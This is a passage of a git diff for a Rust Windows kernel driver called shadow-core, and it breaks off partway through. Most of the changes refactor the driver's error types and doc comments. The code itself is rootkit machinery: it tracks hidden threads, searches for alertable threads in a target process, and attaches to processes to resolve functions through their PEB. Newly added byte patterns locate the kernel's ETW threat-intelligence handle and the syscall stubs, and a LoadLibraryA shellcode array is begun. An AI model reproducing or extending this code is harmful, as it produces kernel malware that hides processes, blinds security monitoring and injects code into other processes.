let offset_lock = get_thread_lock_offset();
|
||||||
@@ -175,12 +145,9 @@ impl Thread {
|
|||||||
|
|
||||||
/// Enumerates all currently hidden threads.
|
/// Enumerates all currently hidden threads.
|
||||||
///
|
///
|
||||||
/// This function iterates through the list of hidden threads stored in `THREAD_INFO_HIDE` and returns
|
|
||||||
/// a vector containing their information.
|
|
||||||
///
|
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * A vector containing the information of all hidden threads.
|
/// A vector containing the information of all hidden threads.
|
||||||
pub unsafe fn enumerate_hide_threads() -> Vec<TargetThread> {
|
pub unsafe fn enumerate_hide_threads() -> Vec<TargetThread> {
|
||||||
let mut threads: Vec<TargetThread> = Vec::new();
|
let mut threads: Vec<TargetThread> = Vec::new();
|
||||||
let thread_info = THREAD_INFO_HIDE.lock();
|
let thread_info = THREAD_INFO_HIDE.lock();
|
||||||
@@ -194,3 +161,11 @@ impl Thread {
|
|||||||
threads
|
threads
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
impl Drop for Thread {
|
||||||
|
fn drop(&mut self) {
|
||||||
|
if !self.e_thread.is_null() {
|
||||||
|
unsafe { ObfDereferenceObject(self.e_thread.cast()) };
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,6 +1,6 @@
|
|||||||
use alloc::string::ToString;
|
use alloc::string::ToString;
|
||||||
use core::{
|
use core::{
|
||||||
ffi::{CStr, c_void},
|
ffi::{c_void, CStr},
|
||||||
ptr::null_mut,
|
ptr::null_mut,
|
||||||
slice::from_raw_parts,
|
slice::from_raw_parts,
|
||||||
};
|
};
|
||||||
@@ -8,22 +8,14 @@ use core::{
|
|||||||
use ntapi::ntexapi::SystemModuleInformation;
|
use ntapi::ntexapi::SystemModuleInformation;
|
||||||
use wdk_sys::{NT_SUCCESS, POOL_FLAG_NON_PAGED};
|
use wdk_sys::{NT_SUCCESS, POOL_FLAG_NON_PAGED};
|
||||||
|
|
||||||
use super::pool::PoolMemory;
|
use super::pool::PoolMemory;
|
||||||
use crate::data::{
|
|
||||||
IMAGE_DOS_HEADER,
|
|
||||||
IMAGE_EXPORT_DIRECTORY,
|
|
||||||
IMAGE_NT_HEADERS
|
|
||||||
};
|
|
||||||
use crate::{
|
use crate::{
|
||||||
Result,
|
data::{ZwQuerySystemInformation, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS},
|
||||||
SystemModuleInformation,
|
error::{ShadowError, ShadowResult},
|
||||||
data::ZwQuerySystemInformation,
|
SystemModuleInformation,
|
||||||
error::ShadowError
|
|
||||||
};
|
};
|
||||||
|
|
||||||
/// Gets the base address of a specified module by querying system module information.
|
/// Gets the base address of a specified module by querying system module information.
|
||||||
/// This function queries the system for all loaded modules and compares their names
|
|
||||||
/// to the provided module name to find the base address.
|
|
||||||
///
|
///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
@@ -31,9 +23,8 @@ use crate::{
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(*mut c_void)` - A pointer to the base address of the module if found.
|
/// A pointer to the base address of the module if found.
|
||||||
/// * `Err(ShadowError)` - If the module is not found or an error occurs during execution.
|
pub unsafe fn get_module_base_address(module_name: &str) -> ShadowResult<*mut c_void> {
|
||||||
pub unsafe fn get_module_base_address(module_name: &str) -> Result<*mut c_void> {
|
|
||||||
// Initial call to ZwQuerySystemInformation to get the required buffer size for system module info
|
// Initial call to ZwQuerySystemInformation to get the required buffer size for system module info
|
||||||
let mut return_bytes = 0;
|
let mut return_bytes = 0;
|
||||||
ZwQuerySystemInformation(SystemModuleInformation, null_mut(), 0, &mut return_bytes);
|
ZwQuerySystemInformation(SystemModuleInformation, null_mut(), 0, &mut return_bytes);
|
||||||
@@ -89,12 +80,11 @@ pub unsafe fn get_module_base_address(module_name: &str) -> Result<*mut c_void>
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Some(*mut c_void)` - An pointer to the function's address.
|
/// An pointer to the function's address.
|
||||||
/// * `None` if the function is not found.
|
|
||||||
pub unsafe fn get_function_address(
|
pub unsafe fn get_function_address(
|
||||||
function_name: &str,
|
function_name: &str,
|
||||||
dll_base: *mut c_void,
|
dll_base: *mut c_void,
|
||||||
) -> Result<*mut c_void> {
|
) -> ShadowResult<*mut c_void> {
|
||||||
let dos_header = dll_base as *const IMAGE_DOS_HEADER;
|
let dos_header = dll_base as *const IMAGE_DOS_HEADER;
|
||||||
let nt_header =
|
let nt_header =
|
||||||
(dll_base as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS;
|
(dll_base as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS;
|
||||||
@@ -1,11 +1,9 @@
|
|||||||
use wdk_sys::{
|
use wdk_sys::{
|
||||||
KAPC_STATE, PRKPROCESS,
|
|
||||||
ntddk::{KeStackAttachProcess, KeUnstackDetachProcess},
|
ntddk::{KeStackAttachProcess, KeUnstackDetachProcess},
|
||||||
|
KAPC_STATE, PRKPROCESS,
|
||||||
};
|
};
|
||||||
|
|
||||||
/// A wrapper for managing the attachment to a process context in the Windows kernel.
|
/// A wrapper for managing the attachment to a process context in the Windows kernel.
|
||||||
/// When a `ProcessAttach` instance is dropped, it will automatically detach from the process
|
|
||||||
/// if still attached.
|
|
||||||
pub struct ProcessAttach {
|
pub struct ProcessAttach {
|
||||||
/// The APC (Asynchronous Procedure Call) state used to manage process attachment.
|
/// The APC (Asynchronous Procedure Call) state used to manage process attachment.
|
||||||
apc_state: KAPC_STATE,
|
apc_state: KAPC_STATE,
|
||||||
@@ -15,15 +13,11 @@ pub struct ProcessAttach {
|
|||||||
}
|
}
|
||||||
|
|
||||||
impl ProcessAttach {
|
impl ProcessAttach {
|
||||||
/// Attaches to the context of a target process.
|
/// Create a new `ProcessAttach`.
|
||||||
///
|
///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// * `target_process` - A pointer to the target process (`PRKPROCESS`) to attach to.
|
/// * `target_process` - A pointer to the target process (`PRKPROCESS`) to attach to.
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// * A new `ProcessAttach` instance representing the attached process context.
|
|
||||||
#[inline]
|
#[inline]
|
||||||
pub fn new(target_process: PRKPROCESS) -> Self {
|
pub fn new(target_process: PRKPROCESS) -> Self {
|
||||||
let mut apc_state = unsafe { core::mem::zeroed::<KAPC_STATE>() };
|
let mut apc_state = unsafe { core::mem::zeroed::<KAPC_STATE>() };
|
||||||
@@ -39,9 +33,6 @@ impl ProcessAttach {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// Manually detaches from the process context.
|
/// Manually detaches from the process context.
|
||||||
///
|
|
||||||
/// This method can be called to explicitly detach the current thread from the target process's
|
|
||||||
/// address space, if it was previously attached.
|
|
||||||
#[inline]
|
#[inline]
|
||||||
pub fn detach(&mut self) {
|
pub fn detach(&mut self) {
|
||||||
if self.attached {
|
if self.attached {
|
||||||
@@ -55,11 +46,6 @@ impl ProcessAttach {
|
|||||||
}
|
}
|
||||||
|
|
||||||
impl Drop for ProcessAttach {
|
impl Drop for ProcessAttach {
|
||||||
/// Automatically detaches from the process context when the `ProcessAttach` instance is dropped.
|
|
||||||
///
|
|
||||||
/// This method ensures that the current thread is detached from the target process's address space
|
|
||||||
/// when the `ProcessAttach` object goes out of scope. If the process is still attached when `drop`
|
|
||||||
/// is called, it will be safely detached using `KeUnstackDetachProcess`.
|
|
||||||
fn drop(&mut self) {
|
fn drop(&mut self) {
|
||||||
// If it is still attached, it unattaches when it leaves the scope.
|
// If it is still attached, it unattaches when it leaves the scope.
|
||||||
if self.attached {
|
if self.attached {
|
||||||
@@ -1,30 +1,25 @@
|
|||||||
use alloc::vec::Vec;
|
use alloc::vec::Vec;
|
||||||
use core::{ffi::c_void, ptr::null_mut};
|
use core::{ffi::c_void, ptr::null_mut};
|
||||||
|
|
||||||
|
use wdk_sys::*;
|
||||||
use wdk_sys::{
|
use wdk_sys::{
|
||||||
_FILE_INFORMATION_CLASS::FileStandardInformation,
|
|
||||||
ntddk::{ZwCreateFile, ZwQueryInformationFile, ZwReadFile},
|
ntddk::{ZwCreateFile, ZwQueryInformationFile, ZwReadFile},
|
||||||
*,
|
_FILE_INFORMATION_CLASS::FileStandardInformation,
|
||||||
};
|
};
|
||||||
|
|
||||||
use super::{InitializeObjectAttributes, handle::Handle};
|
use super::{handle::Handle, InitializeObjectAttributes};
|
||||||
use crate::{Result, error::ShadowError};
|
use crate::error::{ShadowError, ShadowResult};
|
||||||
|
|
||||||
/// Reads the content of a file given its path in the NT kernel environment.
|
/// Reads the content of a file given its path in the NT kernel environment.
|
||||||
///
|
///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// * `path` - A string slice representing the path to the file. The path should follow
|
/// * `path` - A string slice representing the path to the file.
|
||||||
/// the standard Windows format (e.g., `C:\\path\\to\\file`).
|
|
||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(Vec<u8>)` - A vector containing the file's content as bytes if the file is successfully opened and read.
|
/// A vector containing the file's content as bytes if the file is successfully opened and read.
|
||||||
/// * `Err(ShadowError)` - If an error occurs during:
|
pub fn read_file(path: &str) -> ShadowResult<Vec<u8>> {
|
||||||
/// - Opening the file (`ZwCreateFile` failure),
|
|
||||||
/// - Querying file information (`ZwQueryInformationFile` failure),
|
|
||||||
/// - Reading the file (`ZwReadFile` failure).
|
|
||||||
pub fn read_file(path: &str) -> Result<Vec<u8>> {
|
|
||||||
// Converts the path to NT format (e.g., "\\??\\C:\\path\\to\\file")
|
// Converts the path to NT format (e.g., "\\??\\C:\\path\\to\\file")
|
||||||
let path_nt = alloc::format!("\\??\\{}", path);
|
let path_nt = alloc::format!("\\??\\{}", path);
|
||||||
|
|
||||||
32
crates/shadow-core/src/utils/handle.rs
Normal file
32
crates/shadow-core/src/utils/handle.rs
Normal file
@@ -0,0 +1,32 @@
|
|||||||
|
use wdk_sys::{ntddk::ZwClose, HANDLE};
|
||||||
|
|
||||||
|
/// A wrapper around a Windows `HANDLE` that automatically closes the handle when dropped.
|
||||||
|
pub struct Handle(HANDLE);
|
||||||
|
|
||||||
|
impl Handle {
|
||||||
|
/// Creates a new `Handle`.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `handle` - A raw Windows `HANDLE` to wrap.
|
||||||
|
#[inline]
|
||||||
|
pub fn new(handle: HANDLE) -> Self {
|
||||||
|
Handle(handle)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Returns the raw `HANDLE`.
|
||||||
|
#[inline]
|
||||||
|
pub fn get(&self) -> HANDLE {
|
||||||
|
self.0
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Drop for Handle {
|
||||||
|
fn drop(&mut self) {
|
||||||
|
if !self.0.is_null() {
|
||||||
|
unsafe {
|
||||||
|
ZwClose(self.0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,8 +1,8 @@
|
|||||||
use wdk_sys::ERESOURCE;
|
|
||||||
use wdk_sys::ntddk::{
|
use wdk_sys::ntddk::{
|
||||||
ExAcquirePushLockExclusiveEx, ExAcquireResourceSharedLite, ExReleasePushLockExclusiveEx,
|
ExAcquirePushLockExclusiveEx, ExAcquireResourceSharedLite, ExReleasePushLockExclusiveEx,
|
||||||
};
|
};
|
||||||
use wdk_sys::ntddk::{ExAcquireResourceExclusiveLite, ExReleaseResourceLite};
|
use wdk_sys::ntddk::{ExAcquireResourceExclusiveLite, ExReleaseResourceLite};
|
||||||
|
use wdk_sys::ERESOURCE;
|
||||||
|
|
||||||
/// Generic function that performs the operation with the lock already acquired.
|
/// Generic function that performs the operation with the lock already acquired.
|
||||||
/// It will acquire the lock exclusively and guarantee its release after use.
|
/// It will acquire the lock exclusively and guarantee its release after use.
|
||||||
@@ -1,22 +1,14 @@
|
|||||||
use core::ptr::null_mut;
|
use core::ptr::null_mut;
|
||||||
use wdk_sys::ntddk::{
|
use wdk_sys::ntddk::{
|
||||||
IoAllocateMdl, IoFreeMdl,
|
IoAllocateMdl, IoFreeMdl, MmMapLockedPagesSpecifyCache, MmProbeAndLockPages, MmUnlockPages,
|
||||||
MmMapLockedPagesSpecifyCache,
|
|
||||||
MmProbeAndLockPages,
|
|
||||||
MmUnlockPages,
|
|
||||||
MmUnmapLockedPages,
|
MmUnmapLockedPages,
|
||||||
};
|
};
|
||||||
use wdk_sys::{
|
use wdk_sys::{
|
||||||
_LOCK_OPERATION::IoModifyAccess,
|
MdlMappingNoExecute, MDL, PUCHAR, _LOCK_OPERATION::IoModifyAccess,
|
||||||
_MEMORY_CACHING_TYPE::MmCached,
|
_MEMORY_CACHING_TYPE::MmCached, _MM_PAGE_PRIORITY::HighPagePriority, _MODE::KernelMode,
|
||||||
_MM_PAGE_PRIORITY::HighPagePriority,
|
|
||||||
_MODE::KernelMode, MDL,
|
|
||||||
MdlMappingNoExecute, PUCHAR,
|
|
||||||
};
|
};
|
||||||
|
|
||||||
/// Memory Descriptor List (MDL) wrapper for safe kernel memory modification.
|
/// Memory Descriptor List (MDL) wrapper for safe kernel memory modification.
|
||||||
///
|
|
||||||
/// This struct encapsulates an MDL to safely lock, map, and modify memory regions.
|
|
||||||
pub struct Mdl {
|
pub struct Mdl {
|
||||||
/// Pointer to the MDL structure.
|
/// Pointer to the MDL structure.
|
||||||
mdl: *mut MDL,
|
mdl: *mut MDL,
|
||||||
@@ -26,20 +18,12 @@ pub struct Mdl {
|
|||||||
}
|
}
|
||||||
|
|
||||||
impl Mdl {
|
impl Mdl {
|
||||||
/// Creates a new MDL for modifying kernel memory.
|
/// Creates a new `Mdl`.
|
||||||
///
|
|
||||||
/// This function allocates an MDL, locks the memory pages, and maps them
|
|
||||||
/// for kernel access.
|
|
||||||
///
|
///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// * `dest` - Target memory address to be modified.
|
/// * `dest` - Target memory address to be modified.
|
||||||
/// * `size` - Size of the memory region to lock.
|
/// * `size` - Size of the memory region to lock.
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// * `Some(Mdl)` - On success.
|
|
||||||
/// * `None` - If allocation or mapping fails.
|
|
||||||
pub fn new(dest: *const u8, size: usize) -> Option<Self> {
|
pub fn new(dest: *const u8, size: usize) -> Option<Self> {
|
||||||
if dest.is_null() || size == 0 {
|
if dest.is_null() || size == 0 {
|
||||||
wdk::println!("Invalid Parameters");
|
wdk::println!("Invalid Parameters");
|
||||||
@@ -65,7 +49,7 @@ impl Mdl {
|
|||||||
0,
|
0,
|
||||||
HighPagePriority as u32 | MdlMappingNoExecute,
|
HighPagePriority as u32 | MdlMappingNoExecute,
|
||||||
) as *mut u8;
|
) as *mut u8;
|
||||||
|
|
||||||
if mapped_address.is_null() {
|
if mapped_address.is_null() {
|
||||||
wdk::println!("Failed to map blocked pages");
|
wdk::println!("Failed to map blocked pages");
|
||||||
MmUnlockPages(mdl);
|
MmUnlockPages(mdl);
|
||||||
@@ -1,37 +1,27 @@
|
|||||||
use alloc::string::{String, ToString};
|
use alloc::string::{String, ToString};
|
||||||
use core::{
|
use core::{
|
||||||
ffi::{CStr, c_void},
|
ffi::{c_void, CStr},
|
||||||
ptr::null_mut,
|
ptr::null_mut,
|
||||||
slice::from_raw_parts,
|
slice::from_raw_parts,
|
||||||
};
|
};
|
||||||
|
|
||||||
use ntapi::ntexapi::{
|
use ntapi::ntexapi::{SystemProcessInformation, PSYSTEM_PROCESS_INFORMATION};
|
||||||
PSYSTEM_PROCESS_INFORMATION,
|
use wdk_sys::*;
|
||||||
SystemProcessInformation
|
|
||||||
};
|
|
||||||
use wdk_sys::{
|
use wdk_sys::{
|
||||||
_KWAIT_REASON::{
|
ntddk::{MmGetSystemRoutineAddress, PsIsThreadTerminating},
|
||||||
DelayExecution,
|
_KWAIT_REASON::{DelayExecution, UserRequest, WrAlertByThreadId},
|
||||||
UserRequest,
|
|
||||||
WrAlertByThreadId
|
|
||||||
},
|
|
||||||
ntddk::{
|
|
||||||
MmGetSystemRoutineAddress,
|
|
||||||
PsIsThreadTerminating
|
|
||||||
},
|
|
||||||
*,
|
|
||||||
};
|
};
|
||||||
|
|
||||||
use crate::data::{
|
use crate::data::{
|
||||||
IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY,
|
IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS, KTHREAD_STATE::Waiting,
|
||||||
IMAGE_NT_HEADERS, KTHREAD_STATE::Waiting,
|
|
||||||
LDR_DATA_TABLE_ENTRY, PEB,
|
LDR_DATA_TABLE_ENTRY, PEB,
|
||||||
};
|
};
|
||||||
|
use crate::*;
|
||||||
use crate::{
|
use crate::{
|
||||||
ZwQuerySystemInformation,
|
attach::ProcessAttach,
|
||||||
attach::ProcessAttach,
|
error::{ShadowError, ShadowResult},
|
||||||
error::ShadowError,
|
pool::PoolMemory,
|
||||||
pool::PoolMemory, *,
|
ZwQuerySystemInformation,
|
||||||
};
|
};
|
||||||
|
|
||||||
pub mod address;
|
pub mod address;
|
||||||
@@ -52,9 +42,8 @@ pub mod uni;
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(*mut _KTHREAD)` - A pointer to the `KTHREAD` of the found alertable thread.
|
/// A pointer to the `KTHREAD` of the found alertable thread.
|
||||||
/// * `Err(ShadowError)` - If no suitable thread is found or an error occurs during the search.
|
pub unsafe fn find_thread_alertable(target_pid: usize) -> ShadowResult<*mut _KTHREAD> {
|
||||||
pub unsafe fn find_thread_alertable(target_pid: usize) -> Result<*mut _KTHREAD> {
|
|
||||||
// Initial call to get the necessary buffer size for system process information
|
// Initial call to get the necessary buffer size for system process information
|
||||||
let mut return_bytes = 0;
|
let mut return_bytes = 0;
|
||||||
ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes);
|
ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes);
|
||||||
@@ -73,7 +62,10 @@ pub unsafe fn find_thread_alertable(target_pid: usize) -> Result<*mut _KTHREAD>
|
|||||||
);
|
);
|
||||||
|
|
||||||
if !NT_SUCCESS(status) {
|
if !NT_SUCCESS(status) {
|
||||||
return Err(ShadowError::ApiCallFailed("ZwQuerySystemInformation", status));
|
return Err(ShadowError::ApiCallFailed(
|
||||||
|
"ZwQuerySystemInformation",
|
||||||
|
status,
|
||||||
|
));
|
||||||
}
|
}
|
||||||
|
|
||||||
// Iterate over process information to find the target PID and alertable thread
|
// Iterate over process information to find the target PID and alertable thread
|
||||||
@@ -125,7 +117,7 @@ pub unsafe fn find_thread_alertable(target_pid: usize) -> Result<*mut _KTHREAD>
|
|||||||
///
|
///
|
||||||
///
|
///
|
||||||
///
|
///
|
||||||
pub unsafe fn find_thread(target_pid: usize) -> Result<*mut _KTHREAD> {
|
pub unsafe fn find_thread(target_pid: usize) -> ShadowResult<*mut _KTHREAD> {
|
||||||
// Initial call to get the necessary buffer size for system process information
|
// Initial call to get the necessary buffer size for system process information
|
||||||
let mut return_bytes = 0;
|
let mut return_bytes = 0;
|
||||||
ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes);
|
ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes);
|
||||||
@@ -144,7 +136,10 @@ pub unsafe fn find_thread(target_pid: usize) -> Result<*mut _KTHREAD> {
|
|||||||
);
|
);
|
||||||
|
|
||||||
if !NT_SUCCESS(status) {
|
if !NT_SUCCESS(status) {
|
||||||
return Err(ShadowError::ApiCallFailed("ZwQuerySystemInformation", status));
|
return Err(ShadowError::ApiCallFailed(
|
||||||
|
"ZwQuerySystemInformation",
|
||||||
|
status,
|
||||||
|
));
|
||||||
}
|
}
|
||||||
|
|
||||||
// Iterate over process information to find the target PID and alertable thread
|
// Iterate over process information to find the target PID and alertable thread
|
||||||
@@ -196,13 +191,12 @@ pub unsafe fn find_thread(target_pid: usize) -> Result<*mut _KTHREAD> {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(*mut c_void)` - A pointer to the function's address if found.
|
/// A pointer to the function's address if found.
|
||||||
/// * `Err(ShadowError)` - If the function or module is not found, or an error occurs during execution.
|
|
||||||
pub unsafe fn get_function_peb(
|
pub unsafe fn get_function_peb(
|
||||||
pid: usize,
|
pid: usize,
|
||||||
module_name: &str,
|
module_name: &str,
|
||||||
function_name: &str,
|
function_name: &str,
|
||||||
) -> Result<*mut c_void> {
|
) -> ShadowResult<*mut c_void> {
|
||||||
// Recovering `PEPROCESS`
|
// Recovering `PEPROCESS`
|
||||||
let process = Process::new(pid)?;
|
let process = Process::new(pid)?;
|
||||||
let mut attach_process = ProcessAttach::new(process.e_process);
|
let mut attach_process = ProcessAttach::new(process.e_process);
|
||||||
@@ -210,7 +204,10 @@ pub unsafe fn get_function_peb(
|
|||||||
// Access its `PEB`
|
// Access its `PEB`
|
||||||
let peb = PsGetProcessPeb(process.e_process) as *mut PEB;
|
let peb = PsGetProcessPeb(process.e_process) as *mut PEB;
|
||||||
if peb.is_null() || (*peb).Ldr.is_null() {
|
if peb.is_null() || (*peb).Ldr.is_null() {
|
||||||
return Err(ShadowError::FunctionExecutionFailed("PsGetProcessPeb", line!()));
|
return Err(ShadowError::FunctionExecutionFailed(
|
||||||
|
"PsGetProcessPeb",
|
||||||
|
line!(),
|
||||||
|
));
|
||||||
}
|
}
|
||||||
|
|
||||||
// Traverse the InLoadOrderModuleList to find the module
|
// Traverse the InLoadOrderModuleList to find the module
|
||||||
@@ -300,8 +297,8 @@ pub unsafe fn get_function_peb(
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Option<usize>` - An optional containing the PID of the process, or None if the process is not found.
|
/// Ccontaining the PID of the process, or Err if the process is not found.
|
||||||
pub unsafe fn get_process_by_name(process_name: &str) -> Result<usize> {
|
pub unsafe fn get_process_by_name(process_name: &str) -> ShadowResult<usize> {
|
||||||
let mut return_bytes = 0;
|
let mut return_bytes = 0;
|
||||||
ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes);
|
ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes);
|
||||||
|
|
||||||
@@ -317,7 +314,10 @@ pub unsafe fn get_process_by_name(process_name: &str) -> Result<usize> {
|
|||||||
);
|
);
|
||||||
|
|
||||||
if !NT_SUCCESS(status) {
|
if !NT_SUCCESS(status) {
|
||||||
return Err(ShadowError::ApiCallFailed("ZwQuerySystemInformation", status));
|
return Err(ShadowError::ApiCallFailed(
|
||||||
|
"ZwQuerySystemInformation",
|
||||||
|
status,
|
||||||
|
));
|
||||||
}
|
}
|
||||||
|
|
||||||
let mut process_info = info_process;
|
let mut process_info = info_process;
|
||||||
@@ -354,7 +354,7 @@ pub unsafe fn get_process_by_name(process_name: &str) -> Result<usize> {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * True if the address is within the kernel memory range, False otherwise.
|
/// If the address is within the kernel memory range.
|
||||||
pub fn valid_kernel_memory(addr: u64) -> bool {
|
pub fn valid_kernel_memory(addr: u64) -> bool {
|
||||||
unsafe { addr >= wdk_sys::MmSystemRangeStart as u64 }
|
unsafe { addr >= wdk_sys::MmSystemRangeStart as u64 }
|
||||||
}
|
}
|
||||||
@@ -367,7 +367,7 @@ pub fn valid_kernel_memory(addr: u64) -> bool {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * True if the address is within the user memory range, False otherwise.
|
/// If the address is within the user memory range.
|
||||||
pub fn valid_user_memory(addr: u64) -> bool {
|
pub fn valid_user_memory(addr: u64) -> bool {
|
||||||
unsafe { addr > 0 && addr <= wdk_sys::MmHighestUserAddress as u64 }
|
unsafe { addr > 0 && addr <= wdk_sys::MmHighestUserAddress as u64 }
|
||||||
}
|
}
|
||||||
@@ -376,9 +376,9 @@ pub fn valid_user_memory(addr: u64) -> bool {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// - `Option<(*mut LDR_DATA_TABLE_ENTRY, i32)> `: Returns a content containing LDR_DATA_TABLE_ENTRY
|
/// Content containing LDR_DATA_TABLE_ENTRY and the return of how many loaded modules
|
||||||
/// and the return of how many loaded modules there are in PsLoadedModuleList.
|
/// there are in PsLoadedModuleList.
|
||||||
pub fn modules() -> Result<(*mut LDR_DATA_TABLE_ENTRY, i32)> {
|
pub fn modules() -> ShadowResult<(*mut LDR_DATA_TABLE_ENTRY, i32)> {
|
||||||
let ps_module = crate::uni::str_to_unicode(obfstr::obfstr!("PsLoadedModuleList"));
|
let ps_module = crate::uni::str_to_unicode(obfstr::obfstr!("PsLoadedModuleList"));
|
||||||
let ldr_data = unsafe {
|
let ldr_data = unsafe {
|
||||||
MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY
|
MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY
|
||||||
@@ -403,7 +403,7 @@ pub fn modules() -> Result<(*mut LDR_DATA_TABLE_ENTRY, i32)> {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * Returns an `OBJECT_ATTRIBUTES` structure initialized with the provided parameters.
|
/// `OBJECT_ATTRIBUTES` structure initialized with the provided parameters.
|
||||||
pub fn InitializeObjectAttributes(
|
pub fn InitializeObjectAttributes(
|
||||||
object_name: Option<*mut UNICODE_STRING>,
|
object_name: Option<*mut UNICODE_STRING>,
|
||||||
attributes: u32,
|
attributes: u32,
|
||||||
@@ -1,56 +1,75 @@
|
|||||||
use core::{
|
use core::{
|
||||||
ffi::{CStr, c_void},
|
ffi::{c_void, CStr},
|
||||||
ptr::{null_mut, read},
|
ptr::{null_mut, read},
|
||||||
slice::from_raw_parts,
|
slice::from_raw_parts,
|
||||||
};
|
};
|
||||||
|
|
||||||
use obfstr::obfstr;
|
use obfstr::obfstr;
|
||||||
|
use wdk_sys::*;
|
||||||
use wdk_sys::{
|
use wdk_sys::{
|
||||||
|
ntddk::{ZwClose, ZwMapViewOfSection, ZwOpenSection, ZwUnmapViewOfSection},
|
||||||
_SECTION_INHERIT::ViewUnmap,
|
_SECTION_INHERIT::ViewUnmap,
|
||||||
ntddk::{
|
|
||||||
ZwClose,
|
|
||||||
ZwMapViewOfSection,
|
|
||||||
ZwOpenSection,
|
|
||||||
ZwUnmapViewOfSection
|
|
||||||
},
|
|
||||||
*,
|
|
||||||
};
|
};
|
||||||
|
|
||||||
use super::{
|
use super::{address::get_module_base_address, InitializeObjectAttributes};
|
||||||
InitializeObjectAttributes,
|
|
||||||
address::get_module_base_address
|
|
||||||
};
|
|
||||||
use crate::{
|
use crate::{
|
||||||
Result,
|
data::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS, IMAGE_SECTION_HEADER},
|
||||||
error::ShadowError,
|
error::{ShadowError, ShadowResult},
|
||||||
utils::uni,
|
utils::uni,
|
||||||
data::{
|
|
||||||
IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY,
|
|
||||||
IMAGE_NT_HEADERS, IMAGE_SECTION_HEADER
|
|
||||||
},
|
|
||||||
};
|
};
|
||||||
|
|
||||||
|
/// The `ETWTI_PATTERN` represents a sequence of machine instructions used for
|
||||||
|
/// identifying the location of the `EtwThreatIntProvRegHandle` in memory.
|
||||||
|
pub const ETWTI_PATTERN: [u8; 5] = [
|
||||||
|
0x33, 0xD2, // 33d2 xor edx,edx
|
||||||
|
0x48, 0x8B,
|
||||||
|
0x0D, // 488b0dcd849300 mov rcx,qword ptr [nt!EtwThreatIntProvRegHandle (xxxx)]
|
||||||
|
];
|
||||||
|
|
||||||
|
/// The `ZW_PATTERN` represents a sequence of machine instructions used for
|
||||||
|
/// identifying system service routines within the Windows kernel.
|
||||||
|
pub static mut ZW_PATTERN: [u8; 30] = [
|
||||||
|
0x48, 0x8B, 0xC4, // mov rax, rsp
|
||||||
|
0xFA, // cli
|
||||||
|
0x48, 0x83, 0xEC, 0x10, // sub rsp, 10h
|
||||||
|
0x50, // push rax
|
||||||
|
0x9C, // pushfq
|
||||||
|
0x6A, 0x10, // push 10h
|
||||||
|
0x48, 0x8D, 0x05, 0xCC, 0xCC, 0xCC, 0xCC, // lea rax, KiServiceLinkage
|
||||||
|
0x50, // push rax
|
||||||
|
0xB8, 0xCC, 0xCC, 0xCC, 0xCC, // mov eax, <SSN>
|
||||||
|
0xE9, 0xCC, 0xCC, 0xCC, 0xCC, // jmp KiServiceInternal
|
||||||
|
];
|
||||||
|
|
||||||
|
pub static mut LDR_SHELLCODE: [u8; 31] = [
|
||||||
|
0x48, 0x83, 0xEC, 0x28, // sub rsp, 0x28
|
||||||
|
0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rax, LoadLibraryA
|
||||||
|
